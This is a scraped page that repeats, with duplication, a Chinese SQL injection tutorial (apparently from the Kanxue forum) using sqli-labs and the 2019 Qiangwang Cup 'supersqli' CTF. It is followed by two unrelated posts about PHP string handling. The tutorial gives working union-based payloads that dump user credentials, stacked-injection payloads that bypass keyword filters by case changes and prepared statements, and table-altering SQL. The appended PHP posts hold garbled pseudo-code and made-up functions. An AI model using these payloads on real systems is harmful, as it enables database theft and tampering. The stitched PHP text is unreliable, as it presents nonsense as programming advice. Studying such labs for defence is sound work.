可以看到结果基本就是一样的。然后我们想查看比如说 world 数据库的表名,我们一般先 use world 再 show tables 或者一句话 show tables from world;直接输出表名,但是有 information_schema 这个数据库,我们就能通过这里把信息显示出来。select table_name from information_schema.tables where table_schema='world';
可以看到结果也是一模一样的。剩下的爆字段就不演示了,同理的。select column_name from information_schema.columns where table_name='city';以上的 payload 可以直接在注入的地方加进去,只需要改一下表名和数据库名即可。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">六<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sqli-labs环境搭建</p>
主要学习的环境还是用的sqli-labs,我是直接在主机上搭建,因为修改代码起来十分方便,一改就能见到效果。但是这么做确保切断了对外界的网络连接,或者心大一点就算了,想着没人会对自己的主机发起进攻的。然后自己再搭建一个 web 服务,能访问就算成功了。
在使用之前在 sqli-labs\sql-connections\目录下的 db-creds.inc 中配置一下自己的用户名和密码,再点击 setup 把数据库先配置好,如果一切OK,那么进入第一关的效果应该是这样的:
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">七<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql注入详解</p>
在对一个 ctf 打 sql 注入的时候,我们第一步就是要寻找注入点。怎么寻找注入点呢,因为后端源码我们都是不知道的,所以我们只能通过抓包的方式观察所有能提交的参数进行 sql 注入的测试。找到注入点之后我们还需要判断注入的类型。大体的注入分两类,一类是有回显的注入,另一类是没有回显的注入。一般情况下我们优先考虑有回显的注入,因为时间成本比较低,那么我们先来看看有回显的注入吧。
有回显的注入
什么叫有回显?查询到的数据库信息会直接显示出来,你能看到的就叫有回显,反之则是没有回显。有回显的注入有以下类型:
1、联合查询的注入:通过union关键字泄露数据库信息。
2、堆叠注入:通过重新执行一个 sql 语句的方式泄露数据库信息,或者直接增删改查数据库。
3、报错注入:通过一些特殊的函数报错把信息显示出来。
4、二次注入:咕咕咕。
联合查询的注入
利用要求:有回显假如你是 admin 登录之后,它页面可能会显示 hello,admin。那么这个 hello 后面就是一个回显的点,这里就可以用来泄露其它信息。这里需要怎么理解呢,假如它在登录的逻辑是这样写的:select username,passowrd from data.user where username='$input_username' and password='$input_password';
然后我们判断你的账号密码是否正确就主要看它是否能查找到记录,如果找到,那么我选取这条记录的第一个记录的 username 字段,然后输出这个,就达到了它成功登录了什么账号,我输出那个账号的目的了。至于上面为什么说是第一条记录呢,这里你需要这么看:select 的返回结果可能有很多,而不管它返回了一条还是多条它都是一个数据集,是个二维的表。因此选择第一条记录是开发人员默认会加上的,此时我只需使得前面的语句查询失败(返回空数据集)并选取其它内容用 union 合并这个数据集,并把这里的其它内容替换成我想知道的内容,比如它的数据库名,表名,然后它这里就会原样输出这些信息了,我们就知道了。这里需要知道 union 是合并两个数据集的,因此两个数据集的宽度(字段数)必须一样,数据类型可以不一样,返回 php 处理之后都会变成字符串类型其实。这里我们拿刚刚搭建的环境的第一关来做测试:
这里我们不需要寻找测试点了,它这里已经贴心地提醒我们用 get 传一个 id 参数进去了,因此我们先试 1。
可以看到我输入一个 1 它直接贴心的告诉了我们账号和密码是什么,这里显示的账号和密码就是回显的点。我们再测试这个参数是否能注入,最简单最直接的方法就是打个单引号或者双引号进去。
可以发现数据库报错,那就说明这个参数是可以注入的。因此我们用刚刚提到的方法,先另前一个语句查询失败(空数据集),然后再 union 上一个数据集,这个数据集是我们任何我们想泄露的信息,首先我们假装对数据库一无所知,我们第一步就是要知道这里有多少数据库,分别什么名字。根据报错信息可以略微猜测一下它的写法select username,password from xxx.yyy where limit 0,1我们先用引号闭合前面的参数,然后后面加上一个 and 1=0让前面的数据集必为空,然后再 union select 1,2--+,这里需要测试参数的个数,因为你不知道前面有几个字段,不过这里可以姑且先猜个 2,因为目前看来就找了账号和密码嘛,最后用--+去注释后面的单引号。结果发现数据库报了这个错误:The used SELECT statements have a different number of columns,这个也不难看出来是因为 union 前后的数据集含有不同的列数,也就是字段数不一样,所以这里不是两个,那我们换成 3 个参数再看看,如果不行就接着换,知道不报这个错误为止。
这里可以看到结果出来了,那么前面是有三列的,并且账号在第二列,密码在第三列,第一列大概率是这个 id 了。那么我们就朝着这几个回显的地方去改参数,比如我想知道数据库名,就用前面的方法。但是这里需要知道一点,那就是回显的地方这里只能存在一条记录,如果存在多条记录将报错。也就是说我可以把 2 替换成 select xxx from zzzx.yyy 但是必须保证结果集只能含有一条记录一个字段,否则会报错。
一个字段没有问题,但是一条记录的话,你会想到 limit,可以,但是太慢了,如果数据记录很多一条一条打要累死人,这里我们用到之前讲过的聚合函数 group_concat,聚合函数会把所有记录整合成一条记录,并且我们还能一次输出多条记录的信息,那简直一举多得了。我们开始报数据库名吧select schema_name from information_schema.schemata
可以看到我们爆出了当前数据库名和所有数据库名,这里需要注意,我们在替换为语句的时候,语句一定要加上括号,不然它的 sql 会分析失败。然后我们爆一下 security 数据库的信息,先爆表名,其实只需要替换一下就可以了:select group_concat(table_name) from information_schema.tables where table_schema='security'
我们主要收集一下用户信息吧,所以看看 users 数据表的内容,我们先获取字段名,一样一样地往上套就完事了:select group_concat(column_name) from information_schema.columns where table_name='users'
然后我们这里我们就看到了所有的字段名,我们这里点到为止,把所有用户名和密码爆出来就结束吧。select group_concat(username) from security.users和select group_concat(password) from security.users
好,到这里我们就把数据库的信息成功获取到了。
总结
我们可以看到联合查询注入十分方便,几步到位可以把数据库全部泄露出来,但是利用条件一般比较苛刻,需要有回显点才能实现。
堆叠注入
堆叠注入的原理就是使用引号隔开前一个查询语句,再自己书写另外的 sql 语句以此达到任意执行 sql 语句的目的。由于结果很难回显,我们一般这个用的不多,因为我们主要还是获取信息为主,而不是要去修改它的数据库。这个演示我们用 buuctf 里面的一道题吧,是来自2019强网杯的一道题目。
先不管它怎么说,有提交窗口先正常提交看看它原本的业务逻辑。
看这个输出格式,应该也是从数据库里按照一个应该是 id 字段查询,查询结果为两个字段,然后用 var_dump 输出第一条记录的信息,然后按照国际惯例加个分号看它是否报错。
报错了说明有注入点。我们当然还是先试试联合查询注入,用1' union select 1,2--+,然后我们看到它回显了。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
它过滤了很多关键字导致我们没办法直接使用联合查询注入,并且正则后面的/i 表示大小写全匹配,那看来它是不想让你用联合查询注入,我们不妨先试试堆叠注入。我们可以先去 mysql 连接里面自己试试堆叠注入,比如我先实现一个逻辑,这个逻辑仅仅是查询每个数据库的表,那么数据库参数可控,我们就是这么写 sql 语句的:select table_name from information_schema.tables where table_schema='$input_database';。
可以看到随便输入一个数据库可以实现功能,那么我们让$input_database=1';show databases;--,经过拼接之后形成了:select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我们在参数中输入了其它的 sql 语句。那我们看看结果如何呢?不出意外地执行了我们输入的 show databases 指令。
所以你也就清楚了堆叠注入是怎么一回事,我们试试看,一般题目里面堆叠注入都没有很好的回显,但是这题它有,至于为什么能有我们等会可以分析一下它题目的源码。
再通过 show tables 我们可以发现有两张表 14514 和 words。然后我们下一步可以用 show columns from table_name 的方式去显示表中所有的字段名。先看看 words 表,发现有 id 和 data 字段,这里大胆点猜测,我们应该是根据 id 去查询 data。它的 sql 语句大概是 select data from supersqli.words where。这里一个烫芝士注意一下啊,就是当数据库名或表名或列名可能引起歧义的时候,需要使用反引号将其包裹。比如你 select 1,2,3 我并不知道你想找的是 1,2,3 三个数值还是这 1,2,3 是列名。那么为了消除这个歧义我们在这个时候使用反引号。
select `1`,`2`,`3`
上述写法就是表示 1,2,3 代表列名,反引号在键盘上数字 1 的左边。这里因为是全数字,所以我们用反引号才能显示出它所有的列,我们可以看到只有一个 flag 列。那 flag 应该是在里面,我们需要查询出它,这里就可以用到堆叠注入的另一种姿势:预编译。我们也先来看看预编译的一般用法:
set @sql='show databases';prepare ext from @sql;execute ext;
可以发现它成功执行了 show databases,你可能会觉得一举两得了,但是这对于我们绕过 WAF 还是很有帮助的,它不让出现 select 这个单词的任意大小写形式,我们就用前面的字符串拼接函数 concat 就可以不出现 select 单词但是能执行 select 语句。我们还是在这个 cmd 里面去运行。
可以看到,我们利用 concat 函数和预编译的方式在全语句没有出现过 select 的情况下使用了 select 语句才能干的事。因为在 php 里面,执行语句的时候才会产生一个进程去执行 sql 语句,语句结束进程也就结束,如果我先 set @sql='xxx'那么再次查询不会保存这个变量的结果,这里就需要把多条语句整合成一条,这也是堆叠注入特有的一个优势吧。我们的payload如下:
1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;
我们打进去的时候发现WAF还有一层检测。
strstr($inject, "set") && strstr($inject, "prepare")
这个很好绕过,因为这个函数它判断大小写的,我们对这两个关键字随便一个字符大写即可绕过,我们最后的payload就是:
1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;
成功获得 flag。堆叠注入还有一个很厉害的姿势就是修改数据库,但是请注意不要删库,因为这样的话你可能就拿不到 flag。如果拿完 flag 再把 flag 删了,如果环境你专用你随便玩,公用的话就容易被别人喷了,万一环境不能重置,那你不是直接没了。第二种方式是把装 flag 的表改成本来的逻辑查询的表,也就是 words 表。我们把那个表的名字改成 words,然后它可能是根据 id 查询的,我们就把 flag 列改成 id 也许它是根据 words 查询的,我们到时候改一下就好了。先写出我们这几步的 sql。
rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
如果成功的话我们只需要一个万能密码即可查出所有原 flag 表的所有记录。我们的payload就是
1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
执行之后我们使用 1' or 1=1--+得到 flag。
堆叠注入为什么可以实现,下面就到了我们的源码环节了,没有官方的源码,只是从网上寻找到了差不多类似的,复现出来也基本一致。
<p> easy_sql 取材于某次真实环境渗透,只说一句话:开发和安全缺一不可 姿势: 查看全部
sql注入学习分享
本文为看雪论坛精华文章
看雪论坛作者ID:xi@0ji233
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">一<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
WEB框架</p>
web应用一改我们平时常见的 p2p 和 C/S 模式,采用 B/S 模式。随着网络技术的发展,特别随着Web技术的不断成熟,B/S 这种软件体系结构出现了。浏览器-服务器(Browser/Server)结构,简称 B/S 结构,与 C/S不同,其客户端不需要安装专门的软件,只需要浏览器即可,浏览器与Web服务器交互,Web服务器与后端数据库进行交互,可以方便地在不同平台下工作。比如我们玩的英雄联盟就是典型的 C/S 结构的服务,因为有大量图片资源和 3D 模型存储在本地,因此提前安装好客户端就可以方便地与服务器进行交互,如果采用 B/S 结构的话,在我们游戏开始的时候就要与服务器建立连接,下载好各种资源到本地,然后再与服务器进行交互,各种页游均是 B/S 结构。B/S 的优势就是对需要服务一方的电脑要求较低,很容易可以兼容系统上的差异,客户往往只需要安装浏览器便可以享受全部的 web 服务。web 应用会先向我们的浏览器发送前端语言 javascript 或者 html 给浏览器解析执行,我们经过一定的操作之后会向服务器发送请求,然后服务器根据我们的请求做出不同的答复,这个答复还是前端语言形成的网页。服务器会根据什么规则去响应请求,这个就要用到后端语言了,如 php,aspx 等都是常见的后端语言,现在以 php 为主。比如我们实现一个登录页面,那么这个登录肯定是会用到数据库查询操作的,我们将请求提交给服务器之后,后端语言得到我们发送的数据,然后后端语言就会相应地构造 sql 语句去执行数据库查询,并根据查询结果来响应我们那么我们很清晰了,我们负责发送数据,php 构造 sql 语句去查询。首先明白一点,sql 语句肯定我们能控制,因为我输入什么它就要去查什么。我们的输入一定会被嵌入 sql 语句。如果我们在 sql 中能输入任意内容,那我就相当于直接控制了整个数据库。sql 注入的就这么产生了,带来的本质危害也就是数据库信息泄露,如果数据库配置权限过高甚至能让攻击者拿到 shell。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">二<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql语言</p>
SQL(Structured Query Language,结构化查询语言)是一种特定目的程式语言,用于管理关系数据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。
SQL基于关系代数和元组关系演算,包括一个数据定义语言和数据操纵语言。SQL的范围包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。尽管SQL经常被描述为,而且很大程度上是一种声明式编程(4GL),但是其也含有过程式编程的元素。(from wiki)我们最常用的数据库系统是mysql。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">三<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql常用函数</p>
数据库基本信息函数
注意,这些函数都无参数且在使用时必须使用 select 关键字输出。
字符串处理函数
在sql中,字符串通常使用一对单引号表示。
sql注入常用函数
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">四<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql内置数据库</p>
Mysql:保存账户信息,权限信息,存储过程,event,时区等信息。
sys:包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema:用于收集数据库服务器性能参数。
information_schema:它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的数据类型与访问权限等。
这里看似很复杂,实际上你只需要知道这个 performance_schema 数据库就可以了。对于一个未知的数据库,我们首先需要知道它的数据库名,数据表名,知道表名之后还得知道字段名,这样我们才能使用类似这样的 sql 语句 select 字段名 from 数据库.表名;去泄露数据库的具体信息。我们 navicat 打开这个数据库观察一下有什么表。
看着很多,其实我们只需要关心三个表:schemata,tables,columns,它们分别能爆出数据库名,表名和字段名。我们先看看第一个表 schemata 的具体信息:
可以看到里面的schema_name 字段的值就是我们当前这个数据库系统中所有的数据库的名字,从左边也可以一一对应看到对应的数据库。然后看看第二个表 tables 的信息。因为有点多我们看主要的:
可以看到里面有一个 table_name 字段就是整个数据库系统的所有表名,然后前面的 table_schema 就是这个表对应的数据库名。这里也可以看到我们这个数据库能从中找到 tables 和 schemata 这两个表名,以及其它乱七八糟的在上一张图也都有显示。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">五<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
获得数据库信息的其它方式</p>
在我们有一个 mysql 连接的情况下,我们想查看所有的数据库很简单,一句 show databases;即可解决,但是通常情况下我们这样子输入并不能很好的回显,如果把数据库名作为一条记录输出出来那处理起来会好很多。我们想查看数据库还可以用这种方式:select schema_name from information_schema.schemata;我们对比一下两个指令的结果。
可以看到结果基本就是一样的。然后我们想查看比如说 world 数据库的表名,我们一般先 use world 再 show tables 或者一句话 show tables from world;直接输出表名,但是有 information_schema 这个数据库,我们就能通过这里把信息显示出来。select table_name from information_schema.tables where table_schema='world';
可以看到结果也是一模一样的。剩下的爆字段就不演示了,同理的。select column_name from information_schema.columns where table_name='city';以上的 payload 可以直接在注入的地方加进去,只需要改一下表名和数据库名即可。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">六<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sqli-labs环境搭建</p>
主要学习的环境还是用的sqli-labs,我是直接在主机上搭建,因为修改代码起来十分方便,一改就能见到效果。但是这么做确保切断了对外界的网络连接,或者心大一点就算了,想着没人会对自己的主机发起进攻的。然后自己再搭建一个 web 服务,能访问就算成功了。
在使用之前在 sqli-labs\sql-connections\目录下的 db-creds.inc 中配置一下自己的用户名和密码,再点击 setup 把数据库先配置好,如果一切OK,那么进入第一关的效果应该是这样的:
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">七<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql注入详解</p>
在对一个 ctf 打 sql 注入的时候,我们第一步就是要寻找注入点。怎么寻找注入点呢,因为后端源码我们都是不知道的,所以我们只能通过抓包的方式观察所有能提交的参数进行 sql 注入的测试。找到注入点之后我们还需要判断注入的类型。大体的注入分两类,一类是有回显的注入,另一类是没有回显的注入。一般情况下我们优先考虑有回显的注入,因为时间成本比较低,那么我们先来看看有回显的注入吧。
有回显的注入
什么叫有回显?查询到的数据库信息会直接显示出来,你能看到的就叫有回显,反之则是没有回显。有回显的注入有以下类型:
1、联合查询的注入:通过union关键字泄露数据库信息。

2、堆叠注入:通过重新执行一个 sql 语句的方式泄露数据库信息,或者直接增删改查数据库。
3、报错注入:通过一些特殊的函数报错把信息显示出来。
4、二次注入:咕咕咕。
联合查询的注入
利用要求:有回显假如你是 admin 登录之后,它页面可能会显示 hello,admin。那么这个 hello 后面就是一个回显的点,这里就可以用来泄露其它信息。这里需要怎么理解呢,假如它在登录的逻辑是这样写的:select username,passowrd from data.user where username='$input_username' and password='$input_password';
然后我们判断你的账号密码是否正确就主要看它是否能查找到记录,如果找到,那么我选取这条记录的第一个记录的 username 字段,然后输出这个,就达到了它成功登录了什么账号,我输出那个账号的目的了。至于上面为什么说是第一条记录呢,这里你需要这么看:select 的返回结果可能有很多,而不管它返回了一条还是多条它都是一个数据集,是个二维的表。因此选择第一条记录是开发人员默认会加上的,此时我只需使得前面的语句查询失败(返回空数据集)并选取其它内容用 union 合并这个数据集,并把这里的其它内容替换成我想知道的内容,比如它的数据库名,表名,然后它这里就会原样输出这些信息了,我们就知道了。这里需要知道 union 是合并两个数据集的,因此两个数据集的宽度(字段数)必须一样,数据类型可以不一样,返回 php 处理之后都会变成字符串类型其实。这里我们拿刚刚搭建的环境的第一关来做测试:
这里我们不需要寻找测试点了,它这里已经贴心地提醒我们用 get 传一个 id 参数进去了,因此我们先试 1。
可以看到我输入一个 1 它直接贴心的告诉了我们账号和密码是什么,这里显示的账号和密码就是回显的点。我们再测试这个参数是否能注入,最简单最直接的方法就是打个单引号或者双引号进去。
可以发现数据库报错,那就说明这个参数是可以注入的。因此我们用刚刚提到的方法,先另前一个语句查询失败(空数据集),然后再 union 上一个数据集,这个数据集是我们任何我们想泄露的信息,首先我们假装对数据库一无所知,我们第一步就是要知道这里有多少数据库,分别什么名字。根据报错信息可以略微猜测一下它的写法select username,password from xxx.yyy where limit 0,1我们先用引号闭合前面的参数,然后后面加上一个 and 1=0让前面的数据集必为空,然后再 union select 1,2--+,这里需要测试参数的个数,因为你不知道前面有几个字段,不过这里可以姑且先猜个 2,因为目前看来就找了账号和密码嘛,最后用--+去注释后面的单引号。结果发现数据库报了这个错误:The used SELECT statements have a different number of columns,这个也不难看出来是因为 union 前后的数据集含有不同的列数,也就是字段数不一样,所以这里不是两个,那我们换成 3 个参数再看看,如果不行就接着换,知道不报这个错误为止。
这里可以看到结果出来了,那么前面是有三列的,并且账号在第二列,密码在第三列,第一列大概率是这个 id 了。那么我们就朝着这几个回显的地方去改参数,比如我想知道数据库名,就用前面的方法。但是这里需要知道一点,那就是回显的地方这里只能存在一条记录,如果存在多条记录将报错。也就是说我可以把 2 替换成 select xxx from zzzx.yyy 但是必须保证结果集只能含有一条记录一个字段,否则会报错。
一个字段没有问题,但是一条记录的话,你会想到 limit,可以,但是太慢了,如果数据记录很多一条一条打要累死人,这里我们用到之前讲过的聚合函数 group_concat,聚合函数会把所有记录整合成一条记录,并且我们还能一次输出多条记录的信息,那简直一举多得了。我们开始报数据库名吧select schema_name from information_schema.schemata
可以看到我们爆出了当前数据库名和所有数据库名,这里需要注意,我们在替换为语句的时候,语句一定要加上括号,不然它的 sql 会分析失败。然后我们爆一下 security 数据库的信息,先爆表名,其实只需要替换一下就可以了:select group_concat(table_name) from information_schema.tables where table_schema='security'
我们主要收集一下用户信息吧,所以看看 users 数据表的内容,我们先获取字段名,一样一样地往上套就完事了:select group_concat(column_name) from information_schema.columns where table_name='users'
然后我们这里我们就看到了所有的字段名,我们这里点到为止,把所有用户名和密码爆出来就结束吧。select group_concat(username) from security.users和select group_concat(password) from security.users
好,到这里我们就把数据库的信息成功获取到了。
总结
我们可以看到联合查询注入十分方便,几步到位可以把数据库全部泄露出来,但是利用条件一般比较苛刻,需要有回显点才能实现。
堆叠注入
堆叠注入的原理就是使用引号隔开前一个查询语句,再自己书写另外的 sql 语句以此达到任意执行 sql 语句的目的。由于结果很难回显,我们一般这个用的不多,因为我们主要还是获取信息为主,而不是要去修改它的数据库。这个演示我们用 buuctf 里面的一道题吧,是来自2019强网杯的一道题目。
先不管它怎么说,有提交窗口先正常提交看看它原本的业务逻辑。
看这个输出格式,应该也是从数据库里按照一个应该是 id 字段查询,查询结果为两个字段,然后用 var_dump 输出第一条记录的信息,然后按照国际惯例加个分号看它是否报错。
报错了说明有注入点。我们当然还是先试试联合查询注入,用1' union select 1,2--+,然后我们看到它回显了。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
它过滤了很多关键字导致我们没办法直接使用联合查询注入,并且正则后面的/i 表示大小写全匹配,那看来它是不想让你用联合查询注入,我们不妨先试试堆叠注入。我们可以先去 mysql 连接里面自己试试堆叠注入,比如我先实现一个逻辑,这个逻辑仅仅是查询每个数据库的表,那么数据库参数可控,我们就是这么写 sql 语句的:select table_name from information_schema.tables where table_schema='$input_database';。
可以看到随便输入一个数据库可以实现功能,那么我们让$input_database=1';show databases;--,经过拼接之后形成了:select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我们在参数中输入了其它的 sql 语句。那我们看看结果如何呢?不出意外地执行了我们输入的 show databases 指令。
所以你也就清楚了堆叠注入是怎么一回事,我们试试看,一般题目里面堆叠注入都没有很好的回显,但是这题它有,至于为什么能有我们等会可以分析一下它题目的源码。
再通过 show tables 我们可以发现有两张表 14514 和 words。然后我们下一步可以用 show columns from table_name 的方式去显示表中所有的字段名。先看看 words 表,发现有 id 和 data 字段,这里大胆点猜测,我们应该是根据 id 去查询 data。它的 sql 语句大概是 select data from supersqli.words where。这里一个烫芝士注意一下啊,就是当数据库名或表名或列名可能引起歧义的时候,需要使用反引号将其包裹。比如你 select 1,2,3 我并不知道你想找的是 1,2,3 三个数值还是这 1,2,3 是列名。那么为了消除这个歧义我们在这个时候使用反引号。
select `1`,`2`,`3`
上述写法就是表示 1,2,3 代表列名,反引号在键盘上数字 1 的左边。这里因为是全数字,所以我们用反引号才能显示出它所有的列,我们可以看到只有一个 flag 列。那 flag 应该是在里面,我们需要查询出它,这里就可以用到堆叠注入的另一种姿势:预编译。我们也先来看看预编译的一般用法:
set @sql='show databases';prepare ext from @sql;execute ext;
可以发现它成功执行了 show databases,你可能会觉得一举两得了,但是这对于我们绕过 WAF 还是很有帮助的,它不让出现 select 这个单词的任意大小写形式,我们就用前面的字符串拼接函数 concat 就可以不出现 select 单词但是能执行 select 语句。我们还是在这个 cmd 里面去运行。

可以看到,我们利用 concat 函数和预编译的方式在全语句没有出现过 select 的情况下使用了 select 语句才能干的事。因为在 php 里面,执行语句的时候才会产生一个进程去执行 sql 语句,语句结束进程也就结束,如果我先 set @sql='xxx'那么再次查询不会保存这个变量的结果,这里就需要把多条语句整合成一条,这也是堆叠注入特有的一个优势吧。我们的payload如下:
1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;
我们打进去的时候发现WAF还有一层检测。
strstr($inject, "set") && strstr($inject, "prepare")
这个很好绕过,因为这个函数它判断大小写的,我们对这两个关键字随便一个字符大写即可绕过,我们最后的payload就是:
1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;
成功获得 flag。堆叠注入还有一个很厉害的姿势就是修改数据库,但是请注意不要删库,因为这样的话你可能就拿不到 flag。如果拿完 flag 再把 flag 删了,如果环境你专用你随便玩,公用的话就容易被别人喷了,万一环境不能重置,那你不是直接没了。第二种方式是把装 flag 的表改成本来的逻辑查询的表,也就是 words 表。我们把那个表的名字改成 words,然后它可能是根据 id 查询的,我们就把 flag 列改成 id 也许它是根据 words 查询的,我们到时候改一下就好了。先写出我们这几步的 sql。
rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
如果成功的话我们只需要一个万能密码即可查出所有原 flag 表的所有记录。我们的payload就是
1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
执行之后我们使用 1' or 1=1--+得到 flag。
堆叠注入为什么可以实现,下面就到了我们的源码环节了,没有官方的源码,只是从网上寻找到了差不多类似的,复现出来也基本一致。
<p> easy_sql 取材于某次真实环境渗透,只说一句话:开发和安全缺一不可 姿势:
php截取字符串网站内容不方便?分享一款最方便的工具
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-08-28 18:01
php截取字符串网站内容不方便?没关系,下面给大家分享一款最方便的php取字符串的工具,不仅快捷、方便、还能智能识别文本,
首先,理解语法的方法之一是类似对于‘’的理解,也就是说,同一个汉字在不同编程语言中是同一个(音、义、构造、搭配等意义)。接下来,是字符编码。以这两个字母分开来说,是以utf-8编码,例如,以这个字母a开头是b,b开头是a,符合上面一句话;而如果是jq之类的乱码编码,那么会变成a和a,则无法组成这个字母了。
这个最好有个前提条件。大家都知道我们的php有‘’utf-8’',例如:functionsearchwords(f){varjsrelsk=f=>f(searchwords)returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}if(jsrelsk===''){return'a'}else{return'a'}//a代表字符类型或将‘’替换为空格else{varrst=json.stringify(jsrelsk+'/'+jsrelsk.getvalue(),ie-windows)if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!==''){return'b'}}if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!=='utf-8'){return'c'}else{return'd'}具体的css语法参考w3school我个人喜欢复制一个js语法再使用相同的语法来继续如下代码functiontest(err){varjsrelsk=f=>jsrelsk+'/'+jsrelsk.getvalue()returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}letb={a:{b:{array:{index:'0',charsequence:'[a-za-z]'if(b.indexof('a')===。
<p>0){return'1'}else{b.indexof('a')===1return'2'}letd={a:{b:{array:{index:'0',charsequence:'[a-za-z]'for(vari=0;i 查看全部
php截取字符串网站内容不方便?分享一款最方便的工具
php截取字符串网站内容不方便?没关系,下面给大家分享一款最方便的php取字符串的工具,不仅快捷、方便、还能智能识别文本,
首先,理解语法的方法之一是类似对于‘’的理解,也就是说,同一个汉字在不同编程语言中是同一个(音、义、构造、搭配等意义)。接下来,是字符编码。以这两个字母分开来说,是以utf-8编码,例如,以这个字母a开头是b,b开头是a,符合上面一句话;而如果是jq之类的乱码编码,那么会变成a和a,则无法组成这个字母了。

这个最好有个前提条件。大家都知道我们的php有‘’utf-8’',例如:functionsearchwords(f){varjsrelsk=f=>f(searchwords)returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}if(jsrelsk===''){return'a'}else{return'a'}//a代表字符类型或将‘’替换为空格else{varrst=json.stringify(jsrelsk+'/'+jsrelsk.getvalue(),ie-windows)if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!==''){return'b'}}if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!=='utf-8'){return'c'}else{return'd'}具体的css语法参考w3school我个人喜欢复制一个js语法再使用相同的语法来继续如下代码functiontest(err){varjsrelsk=f=>jsrelsk+'/'+jsrelsk.getvalue()returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}letb={a:{b:{array:{index:'0',charsequence:'[a-za-z]'if(b.indexof('a')===。
<p>0){return'1'}else{b.indexof('a')===1return'2'}letd={a:{b:{array:{index:'0',charsequence:'[a-za-z]'for(vari=0;i
php截取字符串网站内容不方便,不过现在很多网站也很简单(图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-08-10 08:04
php截取字符串网站内容不方便,不过现在很多网站也很简单,你看看这个,
;responsetime=2014-04-0711:50:22&appid=54045×tamp=&_t_id=54045&_appid=54045&apptype=image&ios=9.3.3&otn=copyright@administrator
谢邀。我这里先占个坑吧。我下周围还要做一个发布会,答完一些大方向的以后再想办法填这个坑。php我不熟,我先抛砖引玉了。一般来说php是不支持字符串截取的,但是可以通过sql_safe加密来实现字符串截取。(不过这个你应该知道是怎么回事吧?)app的话,一般是一个loader来实现。很多文章里面都有教怎么用,我这里就不抄文章里面的例子了。
其实就是替换文本。要是能解密就太nb了,随便搞个java脚本都可以截获php中传递给他的所有信息。他可以封装成json转发到任何一个服务器接受。
谢邀,要是对php比较熟悉,学会了编码就可以试试,调用access_login_function()函数将php页面展示给app端,然后用access_mapper将php中的msg用json()格式化。
php自带一个功能,需要能接受gzip的字符,你可以rewrite,很容易实现,调用...即可
php有内置函数get_file_from_file(url,str)这是一个典型的json(网络数据包)封装,跟java中的封装extend一样,这样就可以把字符串封装成json了你懂我说的是啥么? 查看全部
php截取字符串网站内容不方便,不过现在很多网站也很简单(图)
php截取字符串网站内容不方便,不过现在很多网站也很简单,你看看这个,
;responsetime=2014-04-0711:50:22&appid=54045×tamp=&_t_id=54045&_appid=54045&apptype=image&ios=9.3.3&otn=copyright@administrator

